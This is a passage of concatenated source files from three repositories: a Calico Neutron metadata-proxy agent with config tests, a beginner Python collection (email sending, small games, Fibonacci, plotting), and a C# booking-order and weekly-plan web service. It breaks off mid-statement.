cfg.StrOpt('metadata_proxy_socket', default='$state_path/metadata_proxy', help=_('Location of Metadata Proxy UNIX domain ' 'socket')), ] AGENT_OPTS = [ cfg.IntOpt('polling_interval', default=2, help=_("The number of seconds the agent will wait between " "polling for local device changes.")), ] class CalicoMetadataProxy(object): def __init__(self, root_helper): LOG.debug('CalicoMetadataProxy::__init__') self.root_helper = root_helper self.proxy_uuid = None if cfg.CONF.enable_metadata_proxy: self.enable_metadata_proxy() def enable_metadata_proxy(self): LOG.debug('CalicoMetadataProxy::enable_metadata_proxy') self.proxy_uuid = uuid.uuid4().hex self._launch_metadata_proxy() def _launch_metadata_proxy(self): LOG.debug('CalicoMetadataProxy::_launch_metadata_proxy') def callback(pid_file): proxy_socket = cfg.CONF.metadata_proxy_socket proxy_cmd = ['neutron-ns-metadata-proxy', '--pid_file=%s' % pid_file, '--metadata_proxy_socket=%s' % proxy_socket, '--flat=%s' % self.proxy_uuid, '--state_path=%s' % cfg.CONF.state_path, '--metadata_port=%s' % cfg.CONF.metadata_port] proxy_cmd.extend(common_config.get_log_args( cfg.CONF, 'neutron-ns-metadata-proxy-%s.log' % self.proxy_uuid)) return proxy_cmd pm = external_process.ProcessManager( cfg.CONF, self.proxy_uuid, self.root_helper, namespace=None) pm.enable(callback) def main(): eventlet.monkey_patch() cfg.CONF.register_opts(OPTS) cfg.CONF.register_opts(AGENT_OPTS, "AGENT") cfg.CONF(project='neutron') common_config.register_agent_state_opts_helper(cfg.CONF) common_config.register_root_helper(cfg.CONF) logging_config.setup_logging(cfg.CONF) # Create a CalicoMetadataProxy. metadata_proxy = CalicoMetadataProxy(cfg.CONF.AGENT.root_helper) # Now just sleep. LOG.info(_("Agent initialized successfully, now running... ")) while True: time.sleep(cfg.CONF.AGENT.polling_interval) sys.exit(0) if __name__ == "__main__": main() <file_sep>/debian/rules #!/usr/bin/make -f # Uncomment this to turn on verbose mode. #export DH_VERBOSE=1 %: dh $@ --with python2 override_dh_install: install -d debian/tmp/usr/etc/calico install etc/*.cfg debian/tmp/usr/etc/calico install -d debian/tmp/usr/etc/neutron install etc/*.ini debian/tmp/usr/etc/neutron install -d debian/tmp/usr/share/calico/bird install etc/bird/*.template debian/tmp/usr/share/calico/bird install -d debian/tmp/usr/bin install -m 755 etc/*.sh debian/tmp/usr/bin dh_install <file_sep>/calico/felix/test/test_config.py # -*- coding: utf-8 -*- # Copyright 2014 Metaswitch Networks # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ felix.test.test_config ~~~~~~~~~~~ Top level tests for Felix configuration. """ import logging import sys import unittest from calico.felix.config import Config, ConfigException class TestConfig(unittest.TestCase): def setUp(self): # Set up logging. For now, we just throw away any logs we get. log = logging.getLogger("calico.felix") handler = logging.NullHandler() log.addHandler(handler) def test_simple_good_config(self): config = Config("calico/felix/test/data/felix_basic.cfg") self.assertEqual(config.PLUGIN_ADDR, "localhost") def test_missing_section(self): with self.assertRaisesRegexp(ConfigException, "Section log missing from config file"): config = Config("calico/felix/test/data/felix_missing_section.cfg") def test_invalid_config(self): with self.assertRaisesRegexp(ConfigException, "not defined in section"): config = Config("calico/felix/test/data/felix_invalid.cfg") def test_bad_dns_config(self): with self.assertRaisesRegexp(ConfigException, "Invalid or unresolvable MetadataAddr"): config = Config("calico/felix/test/data/felix_bad_dns.cfg") def test_bad_port_config(self): with self.assertRaisesRegexp(ConfigException, "Invalid MetadataPort"): config = Config("calico/felix/test/data/felix_bad_port.cfg") def test_extra_config(self): # Extra data is not an error, but does log. config = Config("calico/felix/test/data/felix_extra.cfg") def test_no_metadata(self): # Not an error. config = Config("calico/felix/test/data/felix_no_metadata.cfg") self.assertEqual(config.METADATA_IP, None) self.assertEqual(config.METADATA_PORT, None) def test_blank_plugin(self): with self.assertRaisesRegexp(ConfigException, "Blank PluginAddr"): config = Config("calico/felix/test/data/felix_blank_plugin.cfg") def test_invalid_acl(self): with self.assertRaisesRegexp(ConfigException, "Invalid or unresolvable ACLAddr"): config = Config("calico/felix/test/data/felix_invalid_acl.cfg")
2a9000448d67759480a9292f4bb8706d68939926
[ "INI", "Python", "Makefile", "Shell" ]
11
Python
pombredanne/calico
d935aca8e5935d449c1d880b03cfb5befd3e0e3c
5117bd4a9165a962ddde6b504ee367d804ed8a86
refs/heads/master
<repo_name>pushkar205/python-program.<file_sep>/ex6.py import smtplib try: s=smtplib.SMTP('smtp.gmail.com','587') s.starttls() sender='<EMAIL>' receiver='<EMAIL>' msg="peace!!!!" s.login(sender,'dd<PASSWORD>') s.sendmail(sender,receiver,msg) except: print("some error occured") else: print("message sent succesfully") s.quit ()<file_sep>/RPS.py import random l=["r", "p", "s"] while True: u=input("enter your choice,or press n to exit : ") if u=='n': print("game over") exit() c=random.choice(l) print("computer chooses",c) if u==c : print("tie") elif u=="r" and c=="p" : print("computer wins") elif u=="r" and c=="p" : print("computer wins") elif u=="p" and c=="r" : print("you win") elif u=="s" and c=="r" : print("computer wins") elif u=="r" and u=="s" : print("you win") elif u=="p" and c=="s" : print("computer wins") elif u=="s" and u=="p" : print("you win") <file_sep>/snake and ladder.py import random p = 0 d = 0 snl={8:37,38:9,11:2,13:34,40:68,65:46,52:81,76:97,65:46,93:63,89:70} def rolldice(): return random.randint(1,6) while True: r = input("press r to roll the dice, q to quit : ") if r == 'r': d = rolldice() print("you got",d) if d == 6 or d == 1 : print("congratulations, you're in the game!") break else: print("you need to get 6 or 1 to start. try again. ") elif r == 'q': exit() while True: r = input("press r to roll the dice, q to quit : ") if r == 'r': d = rolldice() print("you got",d) p = p+d if p == 100: print("hurry! you won!") exit() if p > 100: p = p - d print("you need to get",100-p,"to reach home. ") print("your new position is ",p) if p in snl: if p < snl[p]: print("you got a ladder.") else: print("oops, you got swallowed by a huge snake.") p = snl[p] print("move to ",p) elif r == 'q': exit() <file_sep>/fibonacci.py n=10 n1=0 n2=1 count=0 if n<=0: print("enter a positive number") elif n==1: print("fibonacci sequence upto 10 terms",n,":") print(n1) else: print("fibonacci sequence upto 10",n,":") while count < n: print(n1,end=',') nth = n1+n2 n1 = n2 n2 = nth count +=1 <file_sep>/example2.py q=[12,3,4,22,654,7,1,0] def func1(a,b,c): d=a+b+c print(d) func1(7,8,9) def func2(a,b,c): if a<=b and b<c: print("max",c) elif a>b and b>=c: print("max",a) elif a<b and b>c: print("max",b) else: print("all are equal") func2(1,2,3)<file_sep>/raspberrypiemail.py # Python code to illustrate Sending mail with attachments # from your Gmail account # libraries to be imported import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders fromaddr = "EMAIL address of the sender" toaddr = "EMAIL address of the receiver" # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = fromaddr # storing the receivers email address msg['To'] = toaddr # storing the subject msg['Subject'] = "Subject of the Mail" # string to store the body of the mail body = "Body_of_the_mail" # attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) filename = "File_name_with_extension" attachment = open("Path of the file", "rb") p = MIMEBase('application', 'octet-stream') p.set_payload((attachment).read()) encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(p) s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login(fromaddr, "<PASSWORD>_of_the_sender") text = msg.as_string() s.sendmail(fromaddr, toaddr, text) s.quit() <file_sep>/ex11.py import matplotlib.pyplot as plt #list of values X axis x=[1,2,3,4,5,6] y=[5,7,3,9,10,55] plt.plot(x,y,'----') plt.plot(x,y,'g') plt.show()
55f607dd0429ae6ecd76c0a66ab8e6956bfff8ae
[ "Python" ]
7
Python
pushkar205/python-program.
cc283e756f12c68fb2e882c74b5a528a3dc4c7b1
c6b8b6fe0d5cc1edd87c030ce1ac25199280e667
refs/heads/master
<file_sep>using Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Implementation; using Com.Bateeq.Service.Masterplan.Lib.Interfaces; using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Bateeq.Service.Masterplan.Lib.Services; using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using Microsoft.Extensions.DependencyInjection; using System.Threading.Tasks; using Com.Moonlay.Models; using Com.Bateeq.Service.Masterplan.Lib.Helpers; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Facades { public class WeeklyplanFacade : IBaseFacade<WeeklyPlan> { private readonly MasterplanDbContext DbContext; private readonly DbSet<WeeklyPlan> DbSet; private IdentityService IdentityService; private WeeklyPlanLogic WeeklyPlanLogic; private ValidateService ValidateService; public WeeklyplanFacade(IServiceProvider serviceProvider, MasterplanDbContext dbContext) { this.DbContext = dbContext; this.DbSet = this.DbContext.Set<WeeklyPlan>(); this.IdentityService = serviceProvider.GetService<IdentityService>(); this.WeeklyPlanLogic = serviceProvider.GetService<WeeklyPlanLogic>(); this.ValidateService = serviceProvider.GetService<ValidateService>(); } public async Task<int> Create(WeeklyPlan model) { WeeklyPlanLogic.CreateModel(model); return await DbContext.SaveChangesAsync(); } public async Task<int> Delete(int id) { await WeeklyPlanLogic.DeleteModel(id); return await DbContext.SaveChangesAsync(); } public ReadResponse<WeeklyPlan> Read(int Page, int Size, string Order, List<string> Select, string Keyword, string Filter) { return WeeklyPlanLogic.ReadModel(Page, Size, Order, Select, Keyword, Filter); } public async Task<WeeklyPlan> ReadById(int id) { var weeklyPlan = await WeeklyPlanLogic.ReadModelById(id); return weeklyPlan; } public async Task<int> Update(int id, WeeklyPlan model) { WeeklyPlanLogic.UpdateModel(id, model); return await DbContext.SaveChangesAsync(); } public async Task<WeeklyPlan> GetByYearAndUnitCode(int year, string code) { var weeklyPlan = await WeeklyPlanLogic.GetByYearAndUnitCode(year, code); return weeklyPlan; } } } <file_sep>using Com.Moonlay.Models; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Linq.Dynamic.Core; using System.Reflection; using System.Text; namespace Com.Bateeq.Service.Masterplan.Lib.Helpers { public class QueryHelper<TModel> where TModel : StandardEntity, IValidatableObject { public IQueryable<TModel> Filter(IQueryable<TModel> query, Dictionary<string, object> filterDictionary) { if (filterDictionary != null && !filterDictionary.Count.Equals(0)) { foreach (var f in filterDictionary) { string key = f.Key; object Value = f.Value; string filterQuery = string.Concat(string.Empty, key, " == @0"); query = query.Where(filterQuery, Value); } } return query; } public IQueryable<TModel> Order(IQueryable<TModel> query, Dictionary<string, string> orderDictionary) { /* Default Order */ if (orderDictionary.Count.Equals(0)) { orderDictionary.Add("LastModifiedUtc", General.DESCENDING); query = query.OrderByDescending(b => b.LastModifiedUtc); } /* Custom Order */ else { string key = orderDictionary.Keys.First(); string orderType = orderDictionary[key]; string transformKey = General.TransformOrderBy(key); BindingFlags IgnoreCase = BindingFlags.IgnoreCase | BindingFlags.Public | BindingFlags.Instance; query = orderType.Equals(General.ASCENDING) ? query.OrderBy(b => b.GetType().GetProperty(transformKey, IgnoreCase).GetValue(b)) : query.OrderByDescending(b => b.GetType().GetProperty(transformKey, IgnoreCase).GetValue(b)); } return query; } public IQueryable<TModel> Search(IQueryable<TModel> query, List<string> searchAttributes, string keyword) { if (keyword != null) { query = query.Where(General.BuildSearch(searchAttributes), keyword); } return query; } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Helpers; using System; using System.Collections.Generic; using System.Text; namespace Com.Bateeq.Service.Masterplan.Lib.ViewModels { public class WeeklyPlanItemViewModel : BaseViewModel { public int WeekNumber { get; set; } public int Month { get; set; } public int Efficiency { get; set; } public int Operator { get; set; } public int WorkingHours { get; set; } public int AhTotal { get; set; } public int EhTotal { get; set; } public int UsedEh { get; set; } public int RemainingEh { get; set; } public DateTimeOffset StartDate { get; set; } public DateTimeOffset EndDate { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; namespace Com.Bateeq.Service.Masterplan.Lib.ViewModels.Integration { public class BuyerViewModel { public int Id { get; set; } public string Code { get; set; } public string Name { get; set; } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Helpers; using Com.Bateeq.Service.Masterplan.Lib.ViewModels.Integration; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; namespace Com.Bateeq.Service.Masterplan.Lib.ViewModels.BookingOrder { public class BookingOrderViewModel : BaseViewModel, IValidatableObject { public string Code { get; set; } public int SerialNumber { get; set; } public SectionViewModel Section { get; set; } public DateTimeOffset BookingDate { get; set; } public BuyerViewModel Buyer { get; set; } public int? OrderQuantity { get; set; } public DateTimeOffset DeliveryDate { get; set; } public string Remark { get; set; } public IEnumerable<ValidationResult> Validate(ValidationContext validationContext) { if (this.Section == null || this.Section.Id == 0) yield return new ValidationResult("Seksi harus diisi", new List<string> { "Section" }); if (this.BookingDate == null) yield return new ValidationResult("Tanggal Booking harus diisi", new List<string> { "BookingDate" }); if (this.Buyer == null || this.Buyer.Id == 0) yield return new ValidationResult("Seksi harus diisi", new List<string> { "Section" }); if (this.OrderQuantity == null) yield return new ValidationResult("Jumlah Order harus diisi", new List<string> { "OrderQuantity" }); else if (this.OrderQuantity <= 0) yield return new ValidationResult("Jumlah Order harus lebih besar dari 0", new List<string> { "OrderQuantity" }); if (this.DeliveryDate == null) yield return new ValidationResult("Tanggal Pengiriman harus diisi", new List<string> { "DeliveryDate" }); else if (this.DeliveryDate <= this.BookingDate.AddDays(45)) yield return new ValidationResult("Tanggal pengiriman harus > 45 hari dari tanggal hari ini", new List<string> { "DeliveryDate" }); if (string.IsNullOrWhiteSpace(this.Remark)) yield return new ValidationResult("Keterangan harus diisi", new List<string> { "Remark" }); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Com.Bateeq.Service.Masterplan.Lib.Models; using System.Linq.Dynamic.Core; using Com.Bateeq.Service.Masterplan.Lib.Helpers; using Com.Moonlay.Models; using Newtonsoft.Json; using Com.Moonlay.NetCore.Lib; using Com.Bateeq.Service.Masterplan.Lib.Services; using Microsoft.EntityFrameworkCore; using System.ComponentModel.DataAnnotations; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Implementation { public class WeeklyPlanLogic : BaseLogic<WeeklyPlan> { public WeeklyPlanLogic(IServiceProvider serviceProvider, MasterplanDbContext dbContext) : base(serviceProvider, dbContext) { } public override ReadResponse<WeeklyPlan> ReadModel(int page, int size, string order, List<string> select, string keyword, string filter) { IQueryable<WeeklyPlan> Query = this.DbSet; List<string> SearchAttributes = new List<string>() { "Id", "Year", "UnitId", "UnitCode", "UnitName" }; Query = QueryHelper.Search(Query, SearchAttributes, keyword); Dictionary<string, object> FilterDictionary = JsonConvert.DeserializeObject<Dictionary<string, object>>(filter); Query = QueryHelper.Filter(Query, FilterDictionary); Query = Query.Select(field => new WeeklyPlan { Id = field.Id, Year = field.Year, UnitId = field.UnitId, UnitCode = field.UnitCode, UnitName = field.UnitName }); Dictionary<string, string> OrderDictionary = JsonConvert.DeserializeObject<Dictionary<string, string>>(order); Query = QueryHelper.Order(Query, OrderDictionary); Pageable<WeeklyPlan> pageable = new Pageable<WeeklyPlan>(Query, page - 1, size); List<WeeklyPlan> Data = pageable.Data.ToList<WeeklyPlan>(); int TotalData = pageable.TotalCount; return new ReadResponse<WeeklyPlan>(Data, TotalData, OrderDictionary, SearchAttributes); } override public void CreateModel(WeeklyPlan model) { foreach (var item in model.Items) { EntityExtension.FlagForCreate(item, IdentityService.Username, "masterplan-service"); } EntityExtension.FlagForCreate(model, IdentityService.Username, "masterplan-service"); DbSet.Add(model); } override public void UpdateModel(int id, WeeklyPlan model) { foreach (var item in model.Items) { EntityExtension.FlagForUpdate(item, IdentityService.Username, "masterplan-service"); } EntityExtension.FlagForUpdate(model, IdentityService.Username, "masterplan-service"); DbSet.Update(model); } override public async Task DeleteModel(int id) { var model = await ReadModelById(id); foreach (var item in model.Items) { EntityExtension.FlagForDelete(item, IdentityService.Username, "masterplan-service"); } EntityExtension.FlagForDelete(model, IdentityService.Username, "masterplan-service", true); DbSet.Update(model); } override public async Task<WeeklyPlan> ReadModelById(int id) { var weeklyPlan = await DbSet.Include(p => p.Items).FirstOrDefaultAsync(d => d.Id.Equals(id) && d.IsDeleted.Equals(false)); weeklyPlan.Items = weeklyPlan.Items.OrderBy(s => s.WeekNumber).ToArray(); return weeklyPlan; } public async Task<WeeklyPlan> GetByYearAndUnitCode(int year, string code) { var model = await DbSet.Include(p => p.Items).FirstOrDefaultAsync(item => item.Year == year && item.UnitCode == code && item.IsDeleted.Equals(false)); return model; } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Bateeq.Service.Masterplan.Lib.ViewModels; using System; using System.Collections.Generic; using System.Linq; using Com.Moonlay.NetCore.Lib.Service; using Com.Bateeq.Service.Masterplan.Lib.Helpers; using System.Reflection; using Newtonsoft.Json; using Com.Moonlay.NetCore.Lib; using System.Linq.Dynamic.Core; using System.ComponentModel.DataAnnotations; using Microsoft.EntityFrameworkCore; using System.Threading.Tasks; using Com.Moonlay.Models; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Implementation { public class SectionLogic : BaseLogic<Section> { public SectionLogic(IServiceProvider serviceProvider, MasterplanDbContext dbContext) : base(serviceProvider, dbContext) { } public override ReadResponse<Section> ReadModel(int page, int size, string order, List<string> select, string keyword, string filter) { IQueryable<Section> query = this.DbSet; List<string> searchAttributes = new List<string>() { "Code","Name" }; query = QueryHelper.Search(query, searchAttributes, keyword); Dictionary<string, object> filterDictionary = JsonConvert.DeserializeObject<Dictionary<string, object>>(filter); query = QueryHelper.Filter(query, filterDictionary); List<string> selectedFields = new List<string>() { "Id", "Code", "Name", "Remark" }; query = query .Select(field => new Section { Id = field.Id, Code = field.Code, Name = field.Name, Remark = field.Remark }); Dictionary<string, string> orderDictionary = JsonConvert.DeserializeObject<Dictionary<string, string>>(order); query = QueryHelper.Order(query, orderDictionary); Pageable<Section> pageable = new Pageable<Section>(query, page - 1, size); List<Section> data = pageable.Data.ToList<Section>(); int totalData = pageable.TotalCount; return new ReadResponse<Section>(data, totalData, orderDictionary, selectedFields); } } } <file_sep>using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Authorization; using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Facades; using Com.Bateeq.Service.Masterplan.WebApi.Helpers; using AutoMapper; using Com.Bateeq.Service.Masterplan.Lib.Services; using Com.Bateeq.Service.Masterplan.Lib.ViewModels.BookingOrder; namespace Com.Bateeq.Service.Masterplan.WebApi.Controllers { [Produces("application/json")] [ApiVersion("1.0")] [Route("v{version:apiVersion}/booking-orders")] [Authorize] public class BookingOrderController : BaseController<BookingOrder, BookingOrderViewModel, IBookingOrderFacade> { private readonly static string apiVersion = "1.0"; public BookingOrderController(IIdentityService identityService, IValidateService validateService, IBookingOrderFacade bookingOrderFacade, IMapper mapper) : base(identityService, validateService, bookingOrderFacade, mapper, apiVersion) { } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Helpers; using System.Collections.Generic; using System.Threading.Tasks; namespace Com.Bateeq.Service.Masterplan.Lib.Interfaces { public interface IBaseLogic<TModel> { ReadResponse<TModel> ReadModel(int page, int size, string order, List<string> select, string keyword, string filter); void CreateModel(TModel model); Task<TModel> ReadModelById(int id); void UpdateModel(int id, TModel model); Task DeleteModel(int id); } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Implementation; using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Bateeq.Service.Masterplan.Lib.ViewModels; using Microsoft.Extensions.DependencyInjection; using Microsoft.EntityFrameworkCore.Storage; using System; using System.Collections.Generic; using System.Threading.Tasks; using Com.Bateeq.Service.Masterplan.Lib.Helpers; using Microsoft.EntityFrameworkCore; using Com.Bateeq.Service.Masterplan.Lib.Services; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Facades { public class SectionFacade : ISectionFacade { private readonly MasterplanDbContext DbContext; private readonly DbSet<BookingOrder> DbSet; private IIdentityService IdentityService; private SectionLogic SectionLogic; public SectionFacade(IServiceProvider serviceProvider, MasterplanDbContext dbContext) { this.DbContext = dbContext; this.DbSet = this.DbContext.Set<BookingOrder>(); this.IdentityService = serviceProvider.GetService<IIdentityService>(); this.SectionLogic = serviceProvider.GetService<SectionLogic>(); } public ReadResponse<Section> Read(int page, int size, string order, List<string> select, string keyword, string filter) { return SectionLogic.ReadModel(page, size, order, select, keyword, filter); } public async Task<int> Create(Section model) { SectionLogic.CreateModel(model); return await DbContext.SaveChangesAsync(); } public async Task<Section> ReadById(int id) { return await SectionLogic.ReadModelById(id); } public async Task<int> Update(int id, Section model) { SectionLogic.UpdateModel(id, model); return await DbContext.SaveChangesAsync(); } public async Task<int> Delete(int id) { await SectionLogic.DeleteModel(id); return await DbContext.SaveChangesAsync(); } } } <file_sep>using Com.Moonlay.Models; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic { public interface IBusiness<TModel, TViewModel> where TModel : StandardEntity, IValidatableObject where TViewModel : IValidatableObject { Tuple<List<TModel>, int, Dictionary<string, string>, List<string>> ReadModel(int Page, int Size, string Order, List<string> Select, string Keyword, string Filter); IQueryable<TModel> ConfigureSearch(IQueryable<TModel> Query, List<string> SearchAttributes, string Keyword); IQueryable<TModel> ConfigureFilter(IQueryable<TModel> Query, Dictionary<string, object> FilterDictionary); IQueryable<TModel> ConfigureOrder(IQueryable<TModel> Query, Dictionary<string, string> OrderDictionary); TViewModel MapToViewModel(TModel model); TModel MapToModel(TViewModel viewModel); void Validate(TModel model); void Validate(TViewModel viewModel); Task<TModel> GetAsync(int id); Task<int> UpdateAsync(int id, TModel model); bool IsExists(int id); Task<int> CreateAsync(TModel model); Task<int> DeleteAsync(int id); } } <file_sep>using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Authorization; using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Bateeq.Service.Masterplan.Lib.ViewModels; using Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Facades; using Com.Bateeq.Service.Masterplan.WebApi.Helpers; using AutoMapper; using Com.Bateeq.Service.Masterplan.Lib.Services; using System.Threading.Tasks; using System.Collections.Generic; using System; using Newtonsoft.Json; namespace Com.Bateeq.Service.Masterplan.WebApi.Controllers { [Produces("application/json")] [ApiVersion("1.0")] [Route("v{version:apiVersion}/weekly-plans")] [Authorize] public class WeeklyPlanController : BaseController<WeeklyPlan, WeeklyPlanViewModel, WeeklyplanFacade> { private readonly static string apiVersion = "1.0"; public WeeklyPlanController(IIdentityService identityService, IValidateService validateService, WeeklyplanFacade weeklyplanFacade, IMapper mapper) : base(identityService, validateService, weeklyplanFacade, mapper, apiVersion) { } [HttpGet("is-exist/{year}/{code}")] public async Task<IActionResult> GetByYearAndUnitCode(int year, string code) { try { WeeklyPlan model = await Facade.GetByYearAndUnitCode(year, code); if (model == null) { Dictionary<string, object> Result = new ResultFormatter(ApiVersion, General.NOT_FOUND_STATUS_CODE, General.NOT_FOUND_MESSAGE) .Fail(); return Ok(Result); } else { WeeklyPlanViewModel viewModel = Mapper.Map<WeeklyPlanViewModel>(model); Dictionary<string, object> Result = new ResultFormatter(ApiVersion, General.OK_STATUS_CODE, General.OK_MESSAGE) .Ok<WeeklyPlanViewModel>(Mapper, viewModel); return Ok(Result); } } catch (Exception e) { Dictionary<string, object> Result = new ResultFormatter(ApiVersion, General.INTERNAL_ERROR_STATUS_CODE, e.Message) .Fail(); return StatusCode(General.INTERNAL_ERROR_STATUS_CODE, Result); } } } public class FilterObject { public int Year { get; set; } public string Code { get; set; } } }<file_sep>using Com.Bateeq.Service.Masterplan.Lib.Services; using Com.Moonlay.Models; using Microsoft.Extensions.DependencyInjection; using Microsoft.EntityFrameworkCore; using System; using System.ComponentModel.DataAnnotations; using System.Threading.Tasks; using Com.Bateeq.Service.Masterplan.Lib.Interfaces; using System.Collections.Generic; namespace Com.Bateeq.Service.Masterplan.Lib.Helpers { public abstract class BaseLogic<TModel> : IBaseLogic<TModel> where TModel : StandardEntity, IValidatableObject { protected DbSet<TModel> DbSet; protected IIdentityService IdentityService; protected QueryHelper<TModel> QueryHelper; public BaseLogic(IServiceProvider serviceProvider, MasterplanDbContext dbContext) { this.DbSet = dbContext.Set<TModel>(); this.IdentityService = serviceProvider.GetService<IIdentityService>(); this.QueryHelper = new QueryHelper<TModel>(); } public abstract ReadResponse<TModel> ReadModel(int page, int size, string order, List<string> select, string keyword, string filter); public virtual void CreateModel(TModel model) { EntityExtension.FlagForCreate(model, IdentityService.Username, "masterplan-service"); DbSet.Add(model); } public virtual Task<TModel> ReadModelById(int id) { return DbSet.FirstOrDefaultAsync(d => d.Id.Equals(id) && d.IsDeleted.Equals(false)); } public virtual void UpdateModel(int id, TModel model) { EntityExtension.FlagForUpdate(model, IdentityService.Username, "masterplan-service"); DbSet.Update(model); } public virtual async Task DeleteModel(int id) { TModel model = await ReadModelById(id); EntityExtension.FlagForDelete(model, IdentityService.Username, "masterplan-service", true); DbSet.Update(model); } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Bateeq.Service.Masterplan.Lib.Services; using Microsoft.EntityFrameworkCore; using System; using Microsoft.Extensions.DependencyInjection; using System.Collections.Generic; using System.Threading.Tasks; using System.Linq; using System.Linq.Dynamic.Core; using Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Implementation; using Com.Bateeq.Service.Masterplan.Lib.Helpers; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Facades { public class BookingOrderFacade : IBookingOrderFacade { private readonly MasterplanDbContext DbContext; private readonly DbSet<BookingOrder> DbSet; private IIdentityService IdentityService; private BookingOrderLogic BookingOrderLogic; public BookingOrderFacade(IServiceProvider serviceProvider, MasterplanDbContext dbContext) { this.DbContext = dbContext; this.DbSet = this.DbContext.Set<BookingOrder>(); this.IdentityService = serviceProvider.GetService<IIdentityService>(); this.BookingOrderLogic = serviceProvider.GetService<BookingOrderLogic>(); } public ReadResponse<BookingOrder> Read(int page, int size, string order, List<string> select, string keyword, string filter) { return BookingOrderLogic.ReadModel(page, size, order, select, keyword, filter); } public async Task<int> Create(BookingOrder model) { int latestSN = this.DbSet .Where(d => d.SectionId.Equals(model.SectionId) && d.BuyerId.Equals(model.BuyerId) && d.BookingDate.Year.Equals(model.BookingDate.Year)) .DefaultIfEmpty() .Max(d => d.SerialNumber); model.SerialNumber = latestSN != 0 ? latestSN + 1 : 1; model.Code = String.Format("{0}-{1}-{2:D2}{3}", model.SectionCode, model.BuyerCode, model.BookingDate.Year, model.SerialNumber); BookingOrderLogic.CreateModel(model); return await DbContext.SaveChangesAsync(); } public async Task<BookingOrder> ReadById(int id) { return await BookingOrderLogic.ReadModelById(id); } public async Task<int> Update(int id, BookingOrder model) { BookingOrderLogic.UpdateModel(id, model); return await DbContext.SaveChangesAsync(); } public async Task<int> Delete(int id) { await BookingOrderLogic.DeleteModel(id); return await DbContext.SaveChangesAsync(); } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.ModelConfigs; using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Moonlay.Data.EntityFrameworkCore; using Microsoft.EntityFrameworkCore; namespace Com.Bateeq.Service.Masterplan.Lib { public class MasterplanDbContext : StandardDbContext { public MasterplanDbContext(DbContextOptions<MasterplanDbContext> options) : base(options) { } public DbSet<Section> Sections { get; set; } public DbSet<WeeklyPlan> WeeklyPlans { get; set; } public DbSet<WeeklyPlanItem> WeeklyPlanItems { get; set; } public DbSet<BookingOrder> BookingOrders { get; set; } protected override void OnModelCreating(ModelBuilder modelBuilder) { modelBuilder.ApplyConfiguration(new SectionConfig()); modelBuilder.ApplyConfiguration(new WeeklyPlanConfig()); modelBuilder.ApplyConfiguration(new BookingOrderConfig()); base.OnModelCreating(modelBuilder); } } } <file_sep>using System; using System.Collections.Generic; using System.Text; namespace Com.Bateeq.Service.Masterplan.Lib.Interfaces { public interface IMap<TModel, TViewModel> { TViewModel MapToViewModel(TModel model); TModel MapToModel(TViewModel viewModel); } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Helpers; using Com.Bateeq.Service.Masterplan.Lib.Models; using Com.Moonlay.NetCore.Lib; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Linq; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Implementation { public class BookingOrderLogic : BaseLogic<BookingOrder> { public BookingOrderLogic(IServiceProvider serviceProvider, MasterplanDbContext dbContext) : base(serviceProvider, dbContext) { } public override ReadResponse<BookingOrder> ReadModel(int page, int size, string order, List<string> select, string keyword, string filter) { IQueryable<BookingOrder> query = this.DbSet; List<string> searchAttributes = new List<string>() { "Code" }; query = QueryHelper.Search(query, searchAttributes, keyword); Dictionary<string, object> filterDictionary = JsonConvert.DeserializeObject<Dictionary<string, object>>(filter); query = QueryHelper.Filter(query, filterDictionary); List<string> selectedFields = new List<string>() { "Id", "Code", "BookingDate", "Buyer", "OrderQuantity", "DeliveryDate", "Remark" }; query = query .Select(field => new BookingOrder { Id = field.Id, Code = field.Code, BookingDate = field.BookingDate, BuyerId = field.BuyerId, BuyerName = field.BuyerName, OrderQuantity = field.OrderQuantity, DeliveryDate = field.DeliveryDate, Remark = field.Remark }); Dictionary<string, string> orderDictionary = 